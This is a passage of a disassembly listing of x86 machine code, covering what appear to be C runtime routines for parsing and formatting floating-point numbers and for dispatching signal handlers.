[eax+8], edx mov [eax], ecx pop esi retn sub_4213E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_421485 push edi mov [ebp+arg_8], eax loc_421438: ; CODE XREF: sub_421411+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4213B6 push ebx call sub_4213B6 lea eax, [ebp+var_10] push eax push ebx call sub_421358 push ebx call sub_4213B6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421358 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421438 xor edx, edx pop edi loc_421485: ; CODE XREF: sub_421411+21j ; sub_421411+9Fj cmp [ebx+8], edx jnz short loc_4214B2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_421485 ; --------------------------------------------------------------------------- loc_4214B2: ; CODE XREF: sub_421411+77j mov esi, 8000h loc_4214B7: ; CODE XREF: sub_421411+B9j test [ebx+8], esi jnz short loc_4214CC push ebx call sub_4213B6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4214B7 ; --------------------------------------------------------------------------- loc_4214CC: ; CODE XREF: sub_421411+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421411 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214D8 proc near ; CODE XREF: sub_42067A+17p ; sub_4206A7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421513: ; CODE XREF: sub_4214D8+52j mov cl, [edi] cmp cl, 20h jz short loc_421529 cmp cl, 9 jz short loc_421529 cmp cl, 0Ah jz short loc_421529 cmp cl, 0Dh jnz short loc_42152C loc_421529: ; CODE XREF: sub_4214D8+40j ; sub_4214D8+45j ... inc edi jmp short loc_421513 ; --------------------------------------------------------------------------- loc_42152C: ; CODE XREF: sub_4214D8+4Fj push 4 pop esi loc_42152F: ; CODE XREF: sub_4214D8+AEj ; sub_4214D8+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4217B2 ; default ; jumptable 0042153B case 10 jmp off_421979[eax*4] ; switch jump loc_421542: ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 0 jl short loc_421553 cmp bl, 39h jg short loc_421553 loc_42154C: ; CODE XREF: sub_4214D8+C4j ; sub_4214D8+118j push 3 jmp loc_421770 ; --------------------------------------------------------------------------- loc_421553: ; CODE XREF: sub_4214D8+6Dj ; sub_4214D8+72j cmp bl, byte_4397B0 jnz short loc_421562 loc_42155B: ; CODE XREF: sub_4214D8+124j push 5 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_421562: ; CODE XREF: sub_4214D8+81j movsx eax, bl sub eax, 2Bh jz short loc_421588 dec eax dec eax jz short loc_42157C sub eax, 3 jnz loc_42184B jmp loc_42160B ; --------------------------------------------------------------------------- loc_42157C: ; CODE XREF: sub_4214D8+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421588: ; CODE XREF: sub_4214D8+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 1 mov [ebp+var_10], edx jl short loc_42159E cmp bl, 39h jle short loc_42154C loc_42159E: ; CODE XREF: sub_4214D8+BFj cmp bl, byte_4397B0 jz loc_421666 cmp bl, 2Bh jz short loc_4215E0 cmp bl, 2Dh jz short loc_4215E0 cmp bl, 30h jz short loc_42160B loc_4215B9: ; CODE XREF: sub_4214D8+207j cmp bl, 43h jle loc_42184B cmp bl, 45h jle short loc_4215D9 cmp bl, 63h jle loc_42184B cmp bl, 65h jg loc_42184B loc_4215D9: ; CODE XREF: sub_4214D8+EDj push 6 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E0: ; CODE XREF: sub_4214D8+D5j ; sub_4214D8+DAj ... dec edi push 0Bh jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 2 jl short loc_4215F6 cmp bl, 39h jle loc_42154C loc_4215F6: ; CODE XREF: sub_4214D8+113j cmp bl, byte_4397B0 jz loc_42155B cmp bl, 30h jnz loc_4217C0 loc_42160B: ; CODE XREF: sub_4214D8+9Fj ; sub_4214D8+DFj mov eax, edx jmp loc_42152F ; --------------------------------------------------------------------------- loc_421612: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_10], edx ; jumptable 0042153B case 3 loc_421615: ; CODE XREF: sub_4214D8+184j cmp dword_4397AC, edx jle short loc_42162E movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42163C ; --------------------------------------------------------------------------- loc_42162E: ; CODE XREF: sub_4214D8+143j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42163C: ; CODE XREF: sub_4214D8+154j test eax, eax jz short loc_42165E cmp [ebp+var_4], 19h jnb short loc_421656 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421659 ; --------------------------------------------------------------------------- loc_421656: ; CODE XREF: sub_4214D8+16Cj inc [ebp+var_8] loc_421659: ; CODE XREF: sub_4214D8+17Cj mov bl, [edi] inc edi jmp short loc_421615 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_4214D8+166j cmp bl, byte_4397B0 jnz short loc_4216CD loc_421666: ; CODE XREF: sub_4214D8+CCj mov eax, esi jmp loc_42152F ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+var_4], 0 ; jumptable 0042153B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_421686 loc_421679: ; CODE XREF: sub_4214D8+1ACj cmp bl, 30h jnz short loc_421686 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_421679 ; --------------------------------------------------------------------------- loc_421686: ; CODE XREF: sub_4214D8+19Fj ; sub_4214D8+1A4j ... cmp dword_4397AC, edx jle short loc_42169F movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_4216AD ; --------------------------------------------------------------------------- loc_42169F: ; CODE XREF: sub_4214D8+1B4j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4216AD: ; CODE XREF: sub_4214D8+1C5j test eax, eax jz short loc_4216CD cmp [ebp+var_4], 19h jnb short loc_4216C8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4216C8: ; CODE XREF: sub_4214D8+1DDj mov bl, [edi] inc edi jmp short loc_421686 ; --------------------------------------------------------------------------- loc_4216CD: ; CODE XREF: sub_4214D8+18Cj ; sub_4214D8+1D7j cmp bl, 2Bh jz loc_4215E0 cmp bl, 2Dh jz loc_4215E0 jmp loc_4215B9 ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp dword_4397AC, edx ; jumptable 0042153B case 5 mov [ebp+var_24], edx jle short loc_421700 movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42170E ; --------------------------------------------------------------------------- loc_421700: ; CODE XREF: sub_4214D8+215j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42170E: ; CODE XREF: sub_4214D8+226j test eax, eax jz loc_4217C0 mov eax, esi jmp short loc_421771 ; --------------------------------------------------------------------------- loc_42171A: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o lea ecx, [edi-2] ; jumptable 0042153B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42172A cmp bl, 39h jle short loc_42176E loc_42172A: ; CODE XREF: sub_4214D8+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4217A6 dec eax dec eax jz short loc_42179A sub eax, 3 jnz loc_42184E loc_42173F: ; CODE XREF: sub_4214D8+2A4j push 8 jmp short loc_4217A8 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], edx ; jumptable 0042153B case 8 loc_421746: ; CODE XREF: sub_4214D8+276j cmp bl, 30h jnz short loc_421750 mov bl, [edi] inc edi jmp short loc_421746 ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_4214D8+271j cmp bl, 31h jl loc_42184B cmp bl, 39h jg loc_42184B jmp short loc_42176E ; --------------------------------------------------------------------------- loc_421764: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 7 jl short loc_421777 cmp bl, 39h jg short loc_421777 loc_42176E: ; CODE XREF: sub_4214D8+250j ; sub_4214D8+28Aj push 9 loc_421770: ; CODE XREF: sub_4214D8+76j pop eax loc_421771: ; CODE XREF: sub_4214D8+240j dec edi jmp loc_42152F ; --------------------------------------------------------------------------- loc_421777: ; CODE XREF: sub_4214D8+28Fj ; sub_4214D8+294j cmp bl, 30h jnz short loc_4217C0 jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11 jz short loc_4217AE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4217A6 dec eax dec eax jnz loc_42184E loc_42179A: ; CODE XREF: sub_4214D8+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217A6: ; CODE XREF: sub_4214D8+258j ; sub_4214D8+2B8j push 7 loc_4217A8: ; CODE XREF: sub_4214D8+85j ; sub_4214D8+103j ... pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: sub_4214D8+2AAj push 0Ah dec edi pop eax loc_4217B2: ; CODE XREF: sub_4214D8+5Dj ; sub_4214D8+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042153B case 10 jz loc_421850 jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217C0: ; CODE XREF: sub_4214D8+12Dj ; sub_4214D8+238j ... mov edi, [ebp+arg_8] jmp loc_421850 ; --------------------------------------------------------------------------- loc_4217C8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], 1 ; jumptable 0042153B case 9 xor esi, esi loc_4217D1: ; CODE XREF: sub_4214D8+339j cmp dword_4397AC, 1 jle short loc_4217E9 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4217F8 ; --------------------------------------------------------------------------- loc_4217E9: ; CODE XREF: sub_4214D8+300j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4217F8: ; CODE XREF: sub_4214D8+30Fj test eax, eax jz short loc_421818 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421813 mov bl, [edi] inc edi jmp short loc_4217D1 ; --------------------------------------------------------------------------- loc_421813: ; CODE XREF: sub_4214D8+334j mov esi, 1451h loc_421818: ; CODE XREF: sub_4214D8+322j mov [ebp+var_1C], esi loc_42181B: ; CODE XREF: sub_4214D8+371j cmp dword_4397AC, 1 jle short loc_421833 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_421842 ; --------------------------------------------------------------------------- loc_421833: ; CODE XREF: sub_4214D8+34Aj mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421842: ; CODE XREF: sub_4214D8+359j test eax, eax jz short loc_42184B mov bl, [edi] inc edi jmp short loc_42181B ; --------------------------------------------------------------------------- loc_42184B: ; CODE XREF: sub_4214D8+99j ; sub_4214D8+E4j ... dec edi jmp short loc_421850 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_4214D8+261j ; sub_4214D8+2BCj mov edi, ecx loc_421850: ; CODE XREF: sub_4214D8+2DDj ; sub_4214D8+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421938 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42187C cmp [ebp+var_45], 5 jl short loc_421870 inc [ebp+var_45] loc_421870: ; CODE XREF: sub_4214D8+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42187F ; --------------------------------------------------------------------------- loc_42187C: ; CODE XREF: sub_4214D8+38Dj mov eax, [ebp+var_C] loc_42187F: ; CODE XREF: sub_4214D8+3A2j cmp [ebp+var_4], 0 jbe loc_42192E loc_421889: ; CODE XREF: sub_4214D8+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_421897 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_421889 ; --------------------------------------------------------------------------- loc_421897: ; CODE XREF: sub_4214D8+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421411 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4218B6 neg eax loc_4218B6: ; CODE XREF: sub_4214D8+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4218C1 add eax, [ebp+arg_10] loc_4218C1: ; CODE XREF: sub_4214D8+3E4j cmp [ebp+var_24], ecx jnz short loc_4218C9 sub eax, [ebp+arg_14] loc_4218C9: ; CODE XREF: sub_4214D8+3ECj cmp eax, 1450h jle short loc_421900 mov [ebp+var_2C], 1 loc_4218D7: ; CODE XREF: sub_4214D8+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4218E3: ; CODE XREF: sub_4214D8+454j ; sub_4214D8+45Ej cmp [ebp+var_2C], 0 jz short loc_421949 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421900: ; CODE XREF: sub_4214D8+3F6j cmp eax, 0FFFFEBB0h jge short loc_421910 mov [ebp+var_30], 1 jmp short loc_4218D7 ; --------------------------------------------------------------------------- loc_421910: ; CODE XREF: sub_4214D8+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4220C1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_4214D8+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_421938: ; CODE XREF: sub_4214D8+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421949: ; CODE XREF: sub_4214D8+40Fj cmp [ebp+var_30], 0 jz short loc_42195E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42195E: ; CODE XREF: sub_4214D8+426j ; sub_4214D8+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4214D8 endp ; --------------------------------------------------------------------------- off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r dd offset loc_421591 ; jump table for switch statement dd offset loc_4215E8 dd offset loc_421612 dd offset loc_42166D dd offset loc_4216E4 dd offset loc_42171A dd offset loc_421764 dd offset loc_421743 dd offset loc_4217C8 dd offset loc_4217B2 dd offset loc_42177E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_421A0B mov byte ptr [ebx+2], 2Dh jmp short loc_421A0F ; --------------------------------------------------------------------------- loc_421A0B: ; CODE XREF: sub_4219A9+5Aj mov byte ptr [ebx+2], 20h loc_421A0F: ; CODE XREF: sub_4219A9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421A35 test edi, edi jnz short loc_421A35 cmp [ebp+arg_0], edi jnz short loc_421A35 loc_421A20: ; CODE XREF: sub_4219A9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421C33 ; --------------------------------------------------------------------------- loc_421A35: ; CODE XREF: sub_4219A9+6Cj ; sub_4219A9+70j ... cmp dx, si jnz short loc_421AB4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_421A4E cmp [ebp+arg_0], 0 jz short loc_421A5D loc_421A4E: ; CODE XREF: sub_4219A9+9Dj test edi, 40000000h jnz short loc_421A5D push offset a1Snan ; "1#SNAN" jmp short loc_421AA3 ; --------------------------------------------------------------------------- loc_421A5D: ; CODE XREF: sub_4219A9+A3j ; sub_4219A9+ABj test cx, cx jz short loc_421A77 cmp edi, 0C0000000h jnz short loc_421A77 cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Ind ; "1#IND" jmp short loc_421A86 ; --------------------------------------------------------------------------- loc_421A77: ; CODE XREF: sub_4219A9+B7j ; sub_4219A9+BFj cmp edi, eax jnz short loc_421A9E cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Inf ; "1#INF" loc_421A86: ; CODE XREF: sub_4219A9+CCj lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_421A95: ; CODE XREF: sub_4219A9+109j and [ebp+var_4], 0 jmp loc_421C0C ; --------------------------------------------------------------------------- loc_421A9E: ; CODE XREF: sub_4219A9+C5j ; sub_4219A9+D0j ... push offset a1Qnan ; "1#QNAN" loc_421AA3: ; CODE XREF: sub_4219A9+B2j lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_421A95 ; --------------------------------------------------------------------------- loc_421AB4: ; CODE XREF: sub_4219A9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4220C1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421B15 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421EA1 pop ecx pop ecx loc_421B15: ; CODE XREF: sub_4219A9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_421B2F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421B32 jmp loc_421A20 ; --------------------------------------------------------------------------- loc_421B2F: ; CODE XREF: sub_4219A9+173j mov edi, [ebp+arg_C] loc_421B32: ; CODE XREF: sub_4219A9+17Fj cmp edi, 15h jle short loc_421B3A push 15h pop edi loc_421B3A: ; CODE XREF: sub_4219A9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421B50: ; CODE XREF: sub_4219A9+1B4j lea eax, [ebp+var_10] push eax call sub_4213B6 dec [ebp+arg_14] pop ecx jnz short loc_421B50 test esi, esi jge short loc_421B7A neg esi and esi, 0FFh jle short loc_421B7A loc_421B6D: ; CODE XREF: sub_4219A9+1CFj lea eax, [ebp+var_10] push eax call sub_4213E4 dec esi pop ecx jnz short loc_421B6D loc_421B7A: ; CODE XREF: sub_4219A9+1B8j ; sub_4219A9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421BD7 mov [ebp+arg_C], ecx loc_421B8A: ; CODE XREF: sub_4219A9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4213B6 lea eax, [ebp+var_10] push eax call sub_4213B6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421358 lea eax, [ebp+var_10] push eax call sub_4213B6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_421B8A mov eax, [ebp+arg_14] loc_421BD7: ; CODE XREF: sub_4219A9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421C14 loc_421BE4: ; CODE XREF: sub_4219A9+248j cmp eax, ecx jb short loc_421BF7 cmp byte ptr [eax], 39h jnz short loc_421BF3 mov byte ptr [eax], 30h dec eax jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_4219A9+242j cmp eax, ecx jnb short loc_421BFB loc_421BF7: ; CODE XREF: sub_4219A9+23Dj inc eax inc word ptr [ebx] loc_421BFB: ; CODE XREF: sub_4219A9+24Cj inc byte ptr [eax] loc_421BFD: ; CODE XREF: sub_4219A9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_421C0C: ; CODE XREF: sub_4219A9+F0j mov eax, [ebp+var_4] loc_421C0F: ; CODE XREF: sub_4219A9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421C14: ; CODE XREF: sub_4219A9+239j ; sub_4219A9+275j cmp eax, ecx jb short loc_421C24 cmp byte ptr [eax], 30h jnz short loc_421C20 dec eax jmp short loc_421C14 ; --------------------------------------------------------------------------- loc_421C20: ; CODE XREF: sub_4219A9+272j cmp eax, ecx jnb short loc_421BFD loc_421C24: ; CODE XREF: sub_4219A9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421C33: ; CODE XREF: sub_4219A9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_421C0F sub_4219A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_421CA3 dec eax dec eax jz short loc_421C94 sub eax, 4 jz short loc_421C94 sub eax, 3 jz short loc_421C94 sub eax, 4 jz short loc_421C87 sub eax, 6 jz short loc_421C7A dec eax jz short loc_421C6D or eax, 0FFFFFFFFh jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421C6D: ; CODE XREF: sub_421C3C+27j mov esi, dword_48A2F4 mov eax, offset dword_48A2F4 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421C3C+24j mov esi, dword_48A2F0 mov eax, offset dword_48A2F0 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C87: ; CODE XREF: sub_421C3C+1Fj mov esi, dword_48A2F8 mov eax, offset dword_48A2F8 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421C3C+10j ; sub_421C3C+15j ... push edi call sub_421D69 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421CA3: ; CODE XREF: sub_421C3C+Cj mov esi, dword_48A2EC mov eax, offset dword_48A2EC loc_421CAE: ; CODE XREF: sub_421C3C+3Cj ; sub_421C3C+49j ... cmp esi, 1 jnz short loc_421CBA xor eax, eax jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421C3C+75j test esi, esi jnz short loc_421CC5 push 3 call sub_419AF6 loc_421CC5: ; CODE XREF: sub_421C3C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421CD7 cmp edi, 0Bh jz short loc_421CD7 cmp edi, 4 jnz short loc_421CFD loc_421CD7: ; CODE XREF: sub_421C3C+8Fj ; sub_421C3C+94j mov ebx, dword_48A0C8 and dword_48A0C8, 0 cmp edi, ecx jnz short loc_421D2C mov edx, dword_43BC1C mov dword_43BC1C, 8Ch mov [ebp+arg_0], edx jmp short loc_421D00 ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421C3C+99j mov ebx, [ebp+arg_0] loc_421D00: ; CODE XREF: sub_421C3C+BFj cmp edi, ecx jnz short loc_421D2C mov eax, dword_43BC10 mov ecx, dword_43BC14 add ecx, eax cmp eax, ecx jge short loc_421D33 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43BBA0h[edx*4] loc_421D21: ; CODE XREF: sub_421C3C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421D21 jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D2C: ; CODE XREF: sub_421C3C+AAj ; sub_421C3C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421D41 loc_421D33: ; CODE XREF: sub_421C3C+D7j ; sub_421C3C+EEj push dword_43BC1C push 8 call esi pop ecx pop ecx jmp short loc_421D4F ; --------------------------------------------------------------------------- loc_421D41: ; CODE XREF: sub_421C3C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421D4F cmp edi, 4 jnz short loc_421D62 loc_421D4F: ; CODE XREF: sub_421C3C+103j ; sub_421C3C+10Cj cmp edi, 8 mov dword_48A0C8, ebx jnz short loc_421D62 mov eax, [ebp+arg_0] mov dword_43BC1C, eax loc_421D62: ; CODE XREF: sub_421C3C+111j ; sub_421C3C+11Cj xor eax, eax pop ebx loc_421D65: ; CODE XREF: sub_421C3C+2Cj ; sub_421C3C+79j pop edi pop esi pop ebp retn sub_421C3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D69 proc near ; CODE XREF: sub_421C3C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43BC18 cmp dword_43BB9C, edx push esi mov eax, offset dword_43BB98 jz short loc_421D97 lea esi, [ecx+ecx*2] lea esi, ds:43BB98h[esi*4] loc_421D8B: 